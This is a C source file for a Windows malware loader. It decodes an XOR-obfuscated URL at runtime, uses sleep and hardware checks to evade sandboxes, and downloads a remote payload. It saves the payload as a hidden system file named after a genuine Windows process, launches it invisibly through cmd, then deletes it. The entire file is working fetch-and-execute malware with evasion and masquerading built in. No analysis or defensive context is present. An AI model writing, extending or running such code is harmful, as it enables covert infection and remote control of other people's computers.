#include <windows.h>
#include <wininet.h>
#include <stdint.h>

#pragma comment(lib, "wininet.lib")

void *memset_i(void *d, int c, size_t n) { unsigned char *p=(unsigned char*)d; while(n--)*p++=(unsigned char)c; return d; }
void *memcpy_i(void *d, const void *s, size_t n) { unsigned char *dp=(unsigned char*)d; const unsigned char *sp=(const unsigned char*)s; while(n--)*dp++=*sp++; return d; }
#pragma function(memset)
void *memset(void *d,int c,size_t n){return memset_i(d,c,n);}
#pragma function(memcpy)
void *memcpy(void *d,const void *s,size_t n){return memcpy_i(d,s,n);}

// XOR key for string decode
#define XK 0x5A

// Encoded URL - decoded at runtime (no plaintext strings in binary)
static unsigned char enc_url[] = {
    0x32,0x2e,0x2e,0x2a,0x60,0x75,0x75,0x6d,0x6d,0x74,0x6b,0x6b,0x6a,0x74,0x6b,0x6a,
    0x63,0x74,0x68,0x6e,0x62,0x60,0x6e,0x6e,0x69,0x75,0x3e,0x36,0x75,0x62,0x3b,0x69,
    0x38,0x6e,0x39,0x68,0x3c,0x3e,0x3e,0x39,0x6d,0x3f,0x6b,0x3c,0x63,0x39,0x63,0x6c,
    0x3c,0x63,0x6c,0x6f,0x6b,0x62,0x6b,0x38,0x3b,0x6b,0x6f,0x6d,0x69,0x75,0x3b,0x3d,
    0x3f,0x34,0x2e,0x74,0x3f,0x22,0x3f,0x5a
};
static int enc_url_len = 71;

static void xdec(unsigned char *s, int len) {
    for(int i=0;i<len;i++) s[i]^=XK;
}

// Anti-sandbox
static int env_ok(void) {
    Sleep(6000 + (GetTickCount() % 9000));
    MEMORYSTATUSEX mem; mem.dwLength=sizeof(mem);
    GlobalMemoryStatusEx(&mem);
    if(mem.ullTotalPhys < 2ULL*1024*1024*1024) return 0;
    SYSTEM_INFO si; GetSystemInfo(&si);
    if(si.dwNumberOfProcessors < 2) return 0;
    return 1;
}

static void rname(char *buf) {
    DWORD t = GetTickCount();
    const char *n[] = {"RuntimeBroker","SearchProtocol","MusNotify","SecurityHealth","TaskHostW","WmiApSrv"};
    int i=0; const char *s=n[t%6];
    while(s[i]){buf[i]=s[i];i++;}
    buf[i]='.';buf[i+1]='e';buf[i+2]='x';buf[i+3]='e';buf[i+4]=0;
}

int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show) {
    if(!env_ok()) return 0;
    
    xdec(enc_url, enc_url_len);
    
    HINTERNET hI=InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                               INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    if(!hI) return 0;
    HINTERNET hU=InternetOpenUrlA(hI,(char*)enc_url,NULL,0,
                                   INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_RELOAD,0);
    if(!hU){InternetCloseHandle(hI);return 0;}
    
    BYTE *buf=(BYTE*)VirtualAlloc(NULL,256*1024,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    if(!buf){InternetCloseHandle(hU);InternetCloseHandle(hI);return 0;}
    DWORD total=0,br;
    while(InternetReadFile(hU,buf+total,4096,&br)&&br>0) total+=br;
    InternetCloseHandle(hU);InternetCloseHandle(hI);
    if(total<100){VirtualFree(buf,0,MEM_RELEASE);return 0;}
    
    char tmp[MAX_PATH],exe[MAX_PATH],fname[64];
    GetTempPathA(MAX_PATH,tmp);
    rname(fname);
    lstrcpyA(exe,tmp);
    lstrcatA(exe,fname);
    
    HANDLE hF=CreateFileA(exe,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,
                          FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
    if(hF==INVALID_HANDLE_VALUE){VirtualFree(buf,0,MEM_RELEASE);return 0;}
    DWORD bw;WriteFile(hF,buf,total,&bw,NULL);CloseHandle(hF);
    VirtualFree(buf,0,MEM_RELEASE);
    
    char cl[MAX_PATH+20];
    lstrcpyA(cl,"/c start /b ");
    lstrcatA(cl,exe);
    
    STARTUPINFOA si={0};si.cb=sizeof(si);si.dwFlags=STARTF_USESHOWWINDOW;si.wShowWindow=SW_HIDE;
    PROCESS_INFORMATION pi={0};
    char cs[MAX_PATH];
    GetEnvironmentVariableA("COMSPEC",cs,MAX_PATH);
    CreateProcessA(cs,cl,NULL,NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&si,&pi);
    if(pi.hProcess){CloseHandle(pi.hThread);CloseHandle(pi.hProcess);}
    
    Sleep(5000);
    DeleteFileA(exe);
    return 0;
}